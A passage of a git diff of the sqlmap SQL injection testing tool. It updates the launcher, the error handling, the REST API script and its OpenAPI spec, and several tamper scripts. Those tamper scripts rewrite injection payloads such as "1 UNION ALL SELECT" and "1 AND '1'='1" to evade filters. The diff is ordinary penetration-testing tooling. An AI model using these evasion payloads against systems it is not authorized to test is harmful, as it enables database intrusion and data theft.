+# Location of CSV results file in multiple targets mode. +resultsFile = -# Conduct through tests only if positive heuristic(s). +# Local directory for storing temporary files. +tmpDir = + +# Adjust options for unstable connections. # Valid: True or False -smart = False +unstable = False -# Select tests by payloads and/or titles (e.g. ROW) -tstF = +# Update sqlmap. +# Valid: True or False +updateAll = False # Simple wizard interface for beginner users. # Valid: True or False diff --git a/sqlmap.py b/sqlmap.py index bebff9ecd60..5e93ef2c83d 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -1,17 +1,637 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import sys +from __future__ import print_function -PYVERSION = sys.version.split()[0] +try: + import sys -if PYVERSION >= "3" or PYVERSION < "2.6": - exit("[CRITICAL] incompatible Python version detected ('%s'). For successfully running sqlmap you'll have to use version 2.6 or 2.7 (visit \"http://www.python.org/download/\")" % PYVERSION) -elif __name__ == "__main__": - from _sqlmap import main - from lib.controller.controller import start # needed for proper working of --profile switch - main() + sys.dont_write_bytecode = True + + try: + __import__("lib.utils.versioncheck") # this has to be the first non-standard import + except ImportError: + sys.exit("[!] wrong installation detected (missing modules). Visit 'https://github.com/sqlmapproject/sqlmap/#installation' for further details") + + import bdb + import glob + import inspect + import json + import logging + import os + import re + import shutil + import sys + import tempfile + import threading + import time + import traceback + import warnings + + if "--deprecations" not in sys.argv: + warnings.filterwarnings(action="ignore", category=DeprecationWarning) + else: + warnings.resetwarnings() + warnings.filterwarnings(action="ignore", message="'crypt'", category=DeprecationWarning) + warnings.simplefilter("ignore", category=ImportWarning) + if sys.version_info >= (3, 0): + warnings.simplefilter("ignore", category=ResourceWarning) + + warnings.filterwarnings(action="ignore", message="Python 2 is no longer supported") + warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning) + warnings.filterwarnings(action="ignore", message=".*using a very old release", category=UserWarning) + warnings.filterwarnings(action="ignore", message=".*default buffer size will be used", category=RuntimeWarning) + warnings.filterwarnings(action="ignore", category=UserWarning, module="psycopg2") + + from lib.core.data import logger + + from lib.core.common import banner + from lib.core.common import checkPipedInput + from lib.core.common import checkSums + from lib.core.common import createGithubIssue + from lib.core.common import dataToStdout + from lib.core.common import extractRegexResult + from lib.core.common import filterNone + from lib.core.common import getDaysFromLastUpdate + from lib.core.common import getFileItems + from lib.core.common import getSafeExString + from lib.core.common import maskSensitiveData + from lib.core.common import openFile + from lib.core.common import setPaths + from lib.core.common import weAreFrozen + from lib.core.convert import getUnicode + from lib.core.common import setColor + from lib.core.common import unhandledExceptionMessage + from lib.core.compat import LooseVersion + from lib.core.compat import xrange + from lib.core.data import cmdLineOptions + from lib.core.data import conf + from lib.core.data import kb + from lib.core.datatype import OrderedSet + from lib.core.enums import MKSTEMP_PREFIX + from lib.core.exception import SqlmapBaseException + from lib.core.exception import SqlmapShellQuitException + from lib.core.exception import SqlmapSilentQuitException + from lib.core.exception import SqlmapUserQuitException + from lib.core.option import init + from lib.core.option import initOptions + from lib.core.patch import dirtyPatches + from lib.core.patch import resolveCrossReferences + from lib.core.settings import GIT_PAGE + from lib.core.settings import IS_WIN + from lib.core.settings import LAST_UPDATE_NAGGING_DAYS + from lib.core.settings import LEGAL_DISCLAIMER + from lib.core.settings import THREAD_FINALIZATION_TIMEOUT + from lib.core.settings import UNICODE_ENCODING + from lib.core.settings import VERSION + from lib.parse.cmdline import cmdLineParser + from lib.utils.crawler import crawl +except KeyboardInterrupt: + errMsg = "user aborted" + + if "logger" in globals(): + logger.critical(errMsg) + raise SystemExit + else: + import time + sys.exit("\r[%s] [CRITICAL] %s" % (time.strftime("%X"), errMsg)) + +def modulePath(): + """ + This will get us the program's directory, even if we are frozen + using py2exe + """ + + try: + _ = sys.executable if weAreFrozen() else __file__ + except NameError: + _ = inspect.getsourcefile(modulePath) + + return getUnicode(os.path.dirname(os.path.realpath(_)), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) + +def checkEnvironment(): + try: + os.path.isdir(modulePath()) + except UnicodeEncodeError: + errMsg = "your system does not properly handle non-ASCII paths. " + errMsg += "Please move the sqlmap's directory to the other location" + logger.critical(errMsg) + raise SystemExit + + if LooseVersion(VERSION) < LooseVersion("1.0"): + errMsg = "your runtime environment (e.g. PYTHONPATH) is " + errMsg += "broken. Please make sure that you are not running " + errMsg += "newer versions of sqlmap with runtime scripts for older " + errMsg += "versions" + logger.critical(errMsg) + raise SystemExit + + # Patch for pip (import) environment + if "sqlmap.sqlmap" in sys.modules: + for _ in ("cmdLineOptions", "conf", "kb"): + globals()[_] = getattr(sys.modules["lib.core.data"], _) + + for _ in ("SqlmapBaseException", "SqlmapShellQuitException", "SqlmapSilentQuitException", "SqlmapUserQuitException"): + globals()[_] = getattr(sys.modules["lib.core.exception"], _) + +def main(): + """ + Main function of sqlmap when running from command line. + """ + + try: + dirtyPatches() + resolveCrossReferences() + checkEnvironment() + setPaths(modulePath()) + banner() + + # Store original command line options for possible later restoration + args = cmdLineParser() + cmdLineOptions.update(args.__dict__ if hasattr(args, "__dict__") else args) + initOptions(cmdLineOptions) + + if checkPipedInput(): + conf.batch = True + + if conf.get("api"): + # heavy imports + from lib.utils.api import StdDbOut + from lib.utils.api import setRestAPILog + + # Overwrite system standard output and standard error to write + # to an IPC database + sys.stdout = StdDbOut(conf.taskid, messagetype="stdout") + sys.stderr = StdDbOut(conf.taskid, messagetype="stderr") + + setRestAPILog() + + conf.showTime = True + dataToStdout("[!] legal disclaimer: %s\n\n" % LEGAL_DISCLAIMER, forceOutput=True) + dataToStdout("[*] starting @ %s\n\n" % time.strftime("%X /%Y-%m-%d/"), forceOutput=True) + + init() + + if not conf.updateAll: + # Postponed imports (faster start) + if conf.smokeTest: + from lib.core.testing import smokeTest + os._exitcode = 1 - (smokeTest() or 0) + elif conf.vulnTest: + from lib.core.testing import vulnTest + os._exitcode = 1 - (vulnTest() or 0) + else: + from lib.controller.controller import start + if conf.profile: + from lib.core.profiling import profile + globals()["start"] = start + profile() + else: + try: + if conf.crawlDepth and conf.bulkFile: + targets = getFileItems(conf.bulkFile) + + for i in xrange(len(targets)): + target = None + + try: + kb.targets = OrderedSet() + target = targets[i] + + if not re.search(r"(?i)\Ahttp[s]*://", target): + target = "https://%s" % target + + infoMsg = "starting crawler for target URL '%s' (%d/%d)" % (target, i + 1, len(targets)) + logger.info(infoMsg) + + crawl(target) + except Exception as ex: + if target and not isinstance(ex, SqlmapUserQuitException): + errMsg = "problem occurred while crawling '%s' ('%s')" % (target, getSafeExString(ex)) + logger.error(errMsg) + else: + raise + else: + if kb.targets: + start() + else: + start() + except Exception as ex: + os._exitcode = 1 + + if "can't start new thread" in getSafeExString(ex): + errMsg = "unable to start new threads. Please check OS (u)limits" + logger.critical(errMsg) + raise SystemExit + else: + raise + + except SqlmapUserQuitException: + if not conf.batch: + errMsg = "user quit" + logger.error(errMsg) + + except (SqlmapSilentQuitException, bdb.BdbQuit): + pass + + except SqlmapShellQuitException: + cmdLineOptions.sqlmapShell = False + + except SqlmapBaseException as ex: + errMsg = getSafeExString(ex) + logger.critical(errMsg) + + os._exitcode = 1 + + raise SystemExit + + except KeyboardInterrupt: + try: + print() + except IOError: + pass + + except EOFError: + print() + + errMsg = "exit" + logger.error(errMsg) + + except SystemExit as ex: + os._exitcode = ex.code or 0 + + except: + print() + errMsg = unhandledExceptionMessage() + excMsg = traceback.format_exc() + valid = checkSums() + + os._exitcode = 255 + + if any(_ in excMsg for _ in ("MemoryError", "Cannot allocate memory")): + errMsg = "memory exhaustion detected" + logger.critical(errMsg) + raise SystemExit + + elif any(_ in excMsg for _ in ("No space left", "Disk quota exceeded", "Disk full while accessing")): + errMsg = "no space left on output device" + logger.critical(errMsg) + raise SystemExit + + elif any(_ in excMsg for _ in ("The paging file is too small",)): + errMsg = "no space left for paging file" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("Access is denied", "subprocess", "metasploit")): + errMsg = "permission error occurred while running Metasploit" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("Permission denied", "metasploit")): + errMsg = "permission error occurred while using Metasploit" + logger.critical(errMsg) + raise SystemExit + + elif "Read-only file system" in excMsg: + errMsg = "output device is mounted as read-only" + logger.critical(errMsg) + raise SystemExit + + elif "Insufficient system resources" in excMsg: + errMsg = "resource exhaustion detected" + logger.critical(errMsg) + raise SystemExit + + elif "OperationalError: disk I/O error" in excMsg: + errMsg = "I/O error on output device" + logger.critical(errMsg) + raise SystemExit + + elif "Violation of BIDI" in excMsg: + errMsg = "invalid URL (violation of Bidi IDNA rule - RFC 5893)" + logger.critical(errMsg) + raise SystemExit + + elif "Invalid IPv6 URL" in excMsg: + errMsg = "invalid URL ('%s')" % excMsg.strip().split('\n')[-1] + logger.critical(errMsg) + raise SystemExit + + elif "_mkstemp_inner" in excMsg: + errMsg = "there has been a problem while accessing temporary files" + logger.critical(errMsg) + raise SystemExit + + elif any(_ in excMsg for _ in ("tempfile.mkdtemp", "tempfile.mkstemp", "tempfile.py")): + errMsg = "unable to write to the temporary directory '%s'. " % tempfile.gettempdir() + errMsg += "Please make sure that your disk is not full and " + errMsg += "that you have sufficient write permissions to " + errMsg += "create temporary files and/or directories" + logger.critical(errMsg) + raise SystemExit + + elif "Permission denied: '" in excMsg: + match = re.search(r"Permission denied: '([^']*)", excMsg) + errMsg = "permission error occurred while accessing file '%s'" % match.group(1) + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("twophase", "sqlalchemy")): + errMsg = "please update the 'sqlalchemy' package (>= 1.1.11) " + errMsg += "(Reference: 'https://qiita.com/tkprof/items/7d7b2d00df9c5f16fffe')" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("httpcore", "typing.", "AttributeError")): + errMsg = "please update the 'httpcore' package (>= 1.0.8) " + errMsg += "(Reference: 'https://github.com/encode/httpcore/discussions/995')" + logger.critical(errMsg) + raise SystemExit + + elif "invalid maximum character passed to PyUnicode_New" in excMsg and re.search(r"\A3\.[34]", sys.version) is not None: + errMsg = "please upgrade the Python version (>= 3.5) " + errMsg += "(Reference: 'https://bugs.python.org/issue18183')" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("scramble_caching_sha2", "TypeError")): + errMsg = "please downgrade the 'PyMySQL' package (=< 0.8.1) " + errMsg += "(Reference: 'https://github.com/PyMySQL/PyMySQL/issues/700')" + logger.critical(errMsg) + raise SystemExit + + elif "must be pinned buffer, not bytearray" in excMsg: + errMsg = "error occurred at Python interpreter which " + errMsg += "is fixed in 2.7. Please update accordingly " + errMsg += "(Reference: 'https://bugs.python.org/issue8104')" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("OSError: [Errno 22] Invalid argument: '", "importlib")): + errMsg = "unable to read file '%s'" % extractRegexResult(r"OSError: \[Errno 22\] Invalid argument: '(?P<result>[^']+)", excMsg) + logger.critical(errMsg) + raise SystemExit + + elif "hash_randomization" in excMsg: + errMsg = "error occurred at Python interpreter which " + errMsg += "is fixed in 2.7.3. Please update accordingly " + errMsg += "(Reference: 'https://docs.python.org/2/library/sys.html')" + logger.critical(errMsg) + raise SystemExit + + elif "AttributeError:" in excMsg and re.search(r"3\.11\.\d+a", sys.version): + errMsg = "there is a known issue when sqlmap is run with ALPHA versions of Python 3.11. " + errMsg += "Please download a stable Python version" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("Resource temporarily unavailable", "os.fork()", "dictionaryAttack")): + errMsg = "there has been a problem while running the multiprocessing hash cracking. " + errMsg += "Please rerun with option '--threads=1'" + logger.critical(errMsg) + raise SystemExit + + elif "can't start new thread" in excMsg: + errMsg = "there has been a problem while creating new thread instance. " + errMsg += "Please make sure that you are not running too many processes" + if not IS_WIN: + errMsg += " (or increase the 'ulimit -u' value)" + logger.critical(errMsg) + raise SystemExit + + elif "can't allocate read lock" in excMsg: + errMsg = "there has been a problem in regular socket operation " + errMsg += "('%s')" % excMsg.strip().split('\n')[-1] + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("pymysql", "configparser")): + errMsg = "wrong initialization of 'pymsql' detected (using Python3 dependencies)" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("ntlm", "socket.error, err", "SyntaxError")): + errMsg = "wrong initialization of 'python-ntlm' detected (using Python2 syntax)" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("drda", "to_bytes")): + errMsg = "wrong initialization of 'drda' detected (using Python3 syntax)" + logger.critical(errMsg) + raise SystemExit + + elif "'WebSocket' object has no attribute 'status'" in excMsg: + errMsg = "wrong websocket library detected" + errMsg += " (Reference: 'https://github.com/sqlmapproject/sqlmap/issues/4572#issuecomment-775041086')" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("window = tkinter.Tk()",)): + errMsg = "there has been a problem in initialization of GUI interface " + errMsg += "('%s')" % excMsg.strip().split('\n')[-1] + logger.critical(errMsg) + raise SystemExit + + elif any(_ in excMsg for _ in ("unable to access item 'liveTest'",)): + errMsg = "detected usage of files from different versions of sqlmap" + logger.critical(errMsg) + raise SystemExit + + elif any(_ in errMsg for _ in (": 9.9.9#",)): + errMsg = "LOL xD" + logger.critical(errMsg) + raise SystemExit + + elif kb.get("dumpKeyboardInterrupt"): + raise SystemExit + + elif any(_ in excMsg for _ in ("Broken pipe", "KeyboardInterrupt")): + raise SystemExit + + elif valid is False: + errMsg = "code checksum failed (turning off automatic issue creation). " + errMsg += "You should retrieve the latest development version from official GitHub " + errMsg += "repository at '%s'" % GIT_PAGE + logger.critical(errMsg) + print() + dataToStdout(excMsg) + raise SystemExit + + elif any(_ in "%s\n%s" % (errMsg, excMsg) for _ in ("tamper/", "waf/", "--engagement-dojo")): + logger.critical(errMsg) + print() + dataToStdout(excMsg) + raise SystemExit + + elif any(_ in excMsg for _ in ("ImportError", "ModuleNotFoundError", "<frozen", "Can't find file for module", "SAXReaderNotAvailable", "<built-in function compile> returned NULL without setting an exception", "source code string cannot contain null bytes", "No module named", "tp_name field", "module 'sqlite3' has no attribute 'OperationalError'")): + errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("SyntaxError: Non-ASCII character", ".py on line", "but no encoding declared")): + errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("FileNotFoundError: [Errno 2] No such file or directory", "cwd = os.getcwd()")): + errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("PermissionError: [WinError 5]", "multiprocessing")): + errMsg = "there is a permission problem in running multiprocessing on this system. " + errMsg += "Please rerun with '--disable-multi'" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("No such file", "_'")): + errMsg = "corrupted installation detected ('%s'). " % excMsg.strip().split('\n')[-1] + errMsg += "You should retrieve the latest development version from official GitHub " + errMsg += "repository at '%s'" % GIT_PAGE + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("No such file", "sqlmap.conf", "Test")): + errMsg = "you are trying to run (hidden) development tests inside the production environment" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("HTTPNtlmAuthHandler", "'str' object has no attribute 'decode'")): + errMsg = "package 'python-ntlm' has a known compatibility issue with the " + errMsg += "Python 3 (Reference: 'https://github.com/mullender/python-ntlm/pull/61')" + logger.critical(errMsg) + raise SystemExit + + elif "'DictObject' object has no attribute '" in excMsg and all(_ in errMsg for _ in ("(fingerprinted)", "(identified)")): + errMsg = "there has been a problem in enumeration. " + errMsg += "Because of a considerable chance of false-positive case " + errMsg += "you are advised to rerun with switch '--flush-session'" + logger.critical(errMsg) + raise SystemExit + + elif "database disk image is malformed" in excMsg: + errMsg = "local session file seems to be malformed. Please rerun with '--flush-session'" + logger.critical(errMsg) + raise SystemExit + + elif "'cryptography' package is required" in excMsg: + errMsg = "third-party library 'cryptography' is required" + logger.critical(errMsg) + raise SystemExit + + elif "AttributeError: 'module' object has no attribute 'F_GETFD'" in excMsg: + errMsg = "invalid runtime (\"%s\") " % excMsg.split("Error: ")[-1].strip() + errMsg += "(Reference: 'https://stackoverflow.com/a/38841364' & 'https://bugs.python.org/issue24944#msg249231')" + logger.critical(errMsg) + raise SystemExit + + elif "bad marshal data (unknown type code)" in excMsg: + match = re.search(r"\s*(.+)\s+ValueError", excMsg) + errMsg = "one of your .pyc files are corrupted%s" % (" ('%s')" % match.group(1) if match else "") + errMsg += ". Please delete .pyc files on your system to fix the problem" + logger.critical(errMsg) + raise SystemExit + + for match in re.finditer(r'File "(.+?)", line', excMsg): + file_ = match.group(1) + try: + file_ = os.path.relpath(file_, os.path.dirname(__file__)) + except ValueError: + pass + file_ = file_.replace("\\", '/') + if "../" in file_: + file_ = re.sub(r"(\.\./)+", '/', file_) + else: + file_ = file_.lstrip('/') + file_ = re.sub(r"/{2,}", '/', file_) + excMsg = excMsg.replace(match.group(1), file_) + + errMsg = maskSensitiveData(errMsg) + excMsg = maskSensitiveData(excMsg) + + if conf.get("api") or not valid or kb.get("lastCtrlCTime"): + logger.critical("%s\n%s" % (errMsg, excMsg)) + else: + logger.critical(errMsg) + dataToStdout("%s\n" % setColor(excMsg.strip(), level=logging.CRITICAL)) + createGithubIssue(errMsg, excMsg) + + finally: + kb.threadContinue = False + + if (getDaysFromLastUpdate() or 0) > LAST_UPDATE_NAGGING_DAYS: + warnMsg = "your sqlmap version is outdated" + logger.warning(warnMsg) + + if conf.get("showTime"): + dataToStdout("\n[*] ending @ %s\n\n" % time.strftime("%X /%Y-%m-%d/"), forceOutput=True) + + kb.threadException = True + + for tempDir in conf.get("tempDirs", []): + for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING, MKSTEMP_PREFIX.COOKIE_JAR, MKSTEMP_PREFIX.BIG_ARRAY): + for filepath in glob.glob(os.path.join(tempDir, "%s*" % prefix)): + try: + os.remove(filepath) + except OSError: + pass + + if any((conf.vulnTest, conf.smokeTest)) or not filterNone(filepath for filepath in glob.glob(os.path.join(tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files + try: + shutil.rmtree(tempDir, ignore_errors=True) + except OSError: + pass + + if conf.get("hashDB"): + conf.hashDB.flush() + conf.hashDB.close() # NOTE: because of PyPy + + if conf.get("harFile"): + try: + with openFile(conf.harFile, "w+") as f: + json.dump(conf.httpCollector.obtain(), fp=f, indent=4, separators=(',', ': ')) + except SqlmapBaseException as ex: + errMsg = getSafeExString(ex) + logger.critical(errMsg) + + if conf.get("api"): + conf.databaseCursor.disconnect() + + if conf.get("dumper"): + conf.dumper.flush() + + # short delay for thread finalization + _ = time.time() + while threading.active_count() > 1 and (time.time() - _) < THREAD_FINALIZATION_TIMEOUT: + time.sleep(0.01) + + if cmdLineOptions.get("sqlmapShell"): + cmdLineOptions.clear() + conf.clear() + kb.clear() + conf.disableBanner = True + main() + +if __name__ == "__main__": + try: + main() + except KeyboardInterrupt: + pass + except SystemExit: + raise + except: + traceback.print_exc() + finally: + # Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program + if threading.active_count() > 1: + os._exit(getattr(os, "_exitcode", 0)) + else: + sys.exit(getattr(os, "_exitcode", 0)) +else: + # cancelling postponed imports (because of CI/CD checks) + __import__("lib.controller.controller") diff --git a/sqlmapapi.py b/sqlmapapi.py new file mode 100755 index 00000000000..99862b65bc6 --- /dev/null +++ b/sqlmapapi.py @@ -0,0 +1,117 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import sys + +sys.dont_write_bytecode = True + +__import__("lib.utils.versioncheck") # this has to be the first non-standard import + +import logging +import os +import warnings + +warnings.filterwarnings(action="ignore", category=UserWarning) +warnings.filterwarnings(action="ignore", category=DeprecationWarning) + +try: + from optparse import OptionGroup + from optparse import OptionParser as ArgumentParser + + ArgumentParser.add_argument = ArgumentParser.add_option + + def _add_argument(self, *args, **kwargs): + return self.add_option(*args, **kwargs) + + OptionGroup.add_argument = _add_argument + +except ImportError: + from argparse import ArgumentParser + +finally: + def get_actions(instance): + for attr in ("option_list", "_group_actions", "_actions"): + if hasattr(instance, attr): + return getattr(instance, attr) + + def get_groups(parser): + return getattr(parser, "option_groups", None) or getattr(parser, "_action_groups") + + def get_all_options(parser): + retVal = set() + + for option in get_actions(parser): + if hasattr(option, "option_strings"): + retVal.update(option.option_strings) + else: + retVal.update(option._long_opts) + retVal.update(option._short_opts) + + for group in get_groups(parser): + for option in get_actions(group): + if hasattr(option, "option_strings"): + retVal.update(option.option_strings) + else: + retVal.update(option._long_opts) + retVal.update(option._short_opts) + + return retVal + +from lib.core.common import getUnicode +from lib.core.common import setPaths +from lib.core.data import logger +from lib.core.patch import dirtyPatches +from lib.core.patch import resolveCrossReferences +from lib.core.settings import RESTAPI_DEFAULT_ADAPTER +from lib.core.settings import RESTAPI_DEFAULT_ADDRESS +from lib.core.settings import RESTAPI_DEFAULT_PORT +from lib.core.settings import UNICODE_ENCODING +from lib.utils.api import client +from lib.utils.api import server + +try: + from sqlmap import modulePath +except ImportError: + def modulePath(): + return getUnicode(os.path.dirname(os.path.realpath(__file__)), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) + +def main(): + """ + REST-JSON API main function + """ + + dirtyPatches() + resolveCrossReferences() + + # Set default logging level to debug + logger.setLevel(logging.DEBUG) + + # Initialize paths + setPaths(modulePath()) + + # Parse command line options + apiparser = ArgumentParser() + apiparser.add_argument("-s", "--server", help="Run as a REST-JSON API server", action="store_true") + apiparser.add_argument("-c", "--client", help="Run as a REST-JSON API client", action="store_true") + apiparser.add_argument("-H", "--host", help="Host of the REST-JSON API server (default \"%s\")" % RESTAPI_DEFAULT_ADDRESS, default=RESTAPI_DEFAULT_ADDRESS) + apiparser.add_argument("-p", "--port", help="Port of the REST-JSON API server (default %d)" % RESTAPI_DEFAULT_PORT, default=RESTAPI_DEFAULT_PORT, type=int) + apiparser.add_argument("--adapter", help="Server (bottle) adapter to use (default \"%s\")" % RESTAPI_DEFAULT_ADAPTER, default=RESTAPI_DEFAULT_ADAPTER) + apiparser.add_argument("--database", help="Set IPC database filepath (optional)") + apiparser.add_argument("--username", help="Basic authentication username (optional)") + apiparser.add_argument("--password", help="Basic authentication password (optional)") + (args, _) = apiparser.parse_known_args() if hasattr(apiparser, "parse_known_args") else apiparser.parse_args() + + # Start the client or the server + if args.server: + server(args.host, args.port, adapter=args.adapter, username=args.username, password=args.password, database=args.database) + elif args.client: + client(args.host, args.port, username=args.username, password=args.password) + else: + apiparser.print_help() + +if __name__ == "__main__": + main() diff --git a/sqlmapapi.yaml b/sqlmapapi.yaml new file mode 100644 index 00000000000..16641c24d8d --- /dev/null +++ b/sqlmapapi.yaml @@ -0,0 +1,297 @@ +openapi: 3.0.1 +info: + title: sqlmapapi OpenAPI/Swagger specification + version: '0.1' +paths: + /version: + get: + description: Fetch server version + responses: + '200': + description: OK + content: + application/json: + schema: + type: object + properties: + version: + type: string + example: "1.5.7.7#dev" + success: + type: boolean + example: true + /task/new: + get: + description: Create a new task + responses: + '200': + description: OK + content: + application/json: + schema: + type: object + properties: + taskid: + type: string + example: "fad44d6beef72285" + success: + type: boolean + example: true + /task/{taskid}/delete: + get: + description: Delete an existing task + parameters: + - in: path + name: taskid + required: true + schema: + type: string + description: Scan task ID + responses: + '200': + description: OK + content: + application/json: + schema: + type: object + properties: + success: + type: boolean + example: true + /option/{taskid}/list: + get: + description: List options for a given task ID + parameters: + - in: path + name: taskid + required: true + schema: + type: string + description: Scan task ID + responses: + '200': + description: OK + content: + application/json: + schema: + type: object + properties: + success: + type: boolean + example: true + options: + type: array + items: + type: object + /option/{taskid}/get: + post: + description: Get value of option(s) for a certain task ID + parameters: + - in: path + name: taskid + required: true + schema: + type: string + requestBody: + content: + application/json: + schema: + type: array + items: + type: string + example: ["url", "cookie"] + responses: + '200': + description: OK + content: + application/json: + schema: + type: object + properties: + success: + type: boolean + options: + type: object + /option/{taskid}/set: + post: + description: Set value of option(s) for a certain task ID + parameters: + - in: path + name: taskid + required: true + schema: + type: string + requestBody: + content: + application/json: + schema: + type: object + example: {"cookie": "id=1"} + responses: + '200': + description: OK + content: + application/json: + schema: + type: object + properties: + success: + type: boolean + /scan/{taskid}/start: + post: + description: Launch a scan + parameters: + - in: path + name: taskid + required: true + schema: + type: string + description: Scan task ID + requestBody: + content: + application/json: + schema: + type: object + properties: + url: + type: string + examples: + '0': + value: '{"url":"http://testphp.vulnweb.com/artists.php?artist=1"}' + responses: + '200': + description: OK + content: + application/json: + schema: + type: object + properties: + engineid: + type: integer + example: 19720 + success: + type: boolean + example: true + /scan/{taskid}/stop: + get: + description: Stop a scan + parameters: + - in: path + name: taskid + required: true + schema: + type: string + description: Scan task ID + responses: + '200': + description: OK + content: + application/json: + schema: + type: object + properties: + success: + type: boolean + example: true + /scan/{taskid}/status: + get: + description: Fetch status of a scan + parameters: + - in: path + name: taskid + required: true + schema: + type: string + description: Scan task ID + responses: + '200': + description: OK + content: + application/json: + schema: + type: object + properties: + status: + type: string + example: terminated + returncode: + type: integer + example: 0 + success: + type: boolean + example: true + /scan/{taskid}/data: + get: + description: Retrieve the scan resulting data + parameters: + - in: path + name: taskid + required: true + schema: + type: string + description: Scan task ID + responses: + '200': + description: OK + content: + application/json: + schema: + type: object + properties: + data: + type: array + items: + type: object + success: + type: boolean + example: true + error: + type: array + items: + type: object + /scan/{taskid}/log: + get: + description: Retrieve the log messages + parameters: + - in: path + name: taskid + required: true + schema: + type: string + description: Scan task ID + responses: + '200': + description: OK + content: + application/json: + schema: + type: object + properties: + log: + type: array + items: + type: object + success: + type: boolean + example: true + /scan/{taskid}/kill: + get: + description: Kill a scan + parameters: + - in: path + name: taskid + required: true + schema: + type: string + description: Scan task ID + responses: + '200': + description: OK + content: + application/json: + schema: + type: object + properties: + success: + type: boolean + example: true diff --git a/tamper/0eunion.py b/tamper/0eunion.py new file mode 100644 index 00000000000..5a52c92fa06 --- /dev/null +++ b/tamper/0eunion.py @@ -0,0 +1,32 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces an integer followed by UNION with an integer followed by e0UNION + + Requirement: + * MySQL + * MsSQL + + Notes: + * Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf + + >>> tamper('1 UNION ALL SELECT') + '1e0UNION ALL SELECT' + """ + + return re.sub(r"(?i)(\d+)\s+(UNION )", r"\g<1>e0\g<2>", payload) if payload else payload diff --git a/tamper/__init__.py b/tamper/__init__.py index 95bd00fd1fe..bcac841631b 100644 --- a/tamper/__init__.py +++ b/tamper/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -pass \ No newline at end of file +pass diff --git a/tamper/apostrophemask.py b/tamper/apostrophemask.py index 8d1b77bd2bc..9562002a131 100644 --- a/tamper/apostrophemask.py +++ b/tamper/apostrophemask.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY @@ -12,19 +12,18 @@ def dependencies(): pass -def tamper(payload): +def tamper(payload, **kwargs): """ - Replaces apostrophe character with its UTF-8 full width counterpart - - Example: - * Input: AND '1'='1' - * Output: AND %EF%BC%871%EF%BC%87=%EF%BC%871%EF%BC%87 + Replaces single quotes (') with their UTF-8 full-width equivalents (e.g. ' -> %EF%BC%87) References: * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128 - * http://lukasz.pilorz.net/testy/unicode_conversion/ - * http://sla.ckers.org/forum/read.php?13,11562,11850 - * http://lukasz.pilorz.net/testy/full_width_utf/index.phps + * https://web.archive.org/web/20130614183121/http://lukasz.pilorz.net/testy/unicode_conversion/ + * https://web.archive.org/web/20131121094431/sla.ckers.org/forum/read.php?13,11562,11850 + * https://web.archive.org/web/20070624194958/http://lukasz.pilorz.net/testy/full_width_utf/index.phps + + >>> tamper("1 AND '1'='1") + '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' """ - return payload.replace('\'', '%EF%BC%87') if payload else payload + return payload.replace('\'', "%EF%BC%87") if payload else payload diff --git a/tamper/apostrophenullencode.py b/tamper/apostrophenullencode.py index 8baf4c7b969..0cbafe30cd6 100644 --- a/tamper/apostrophenullencode.py +++ b/tamper/apostrophenullencode.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the 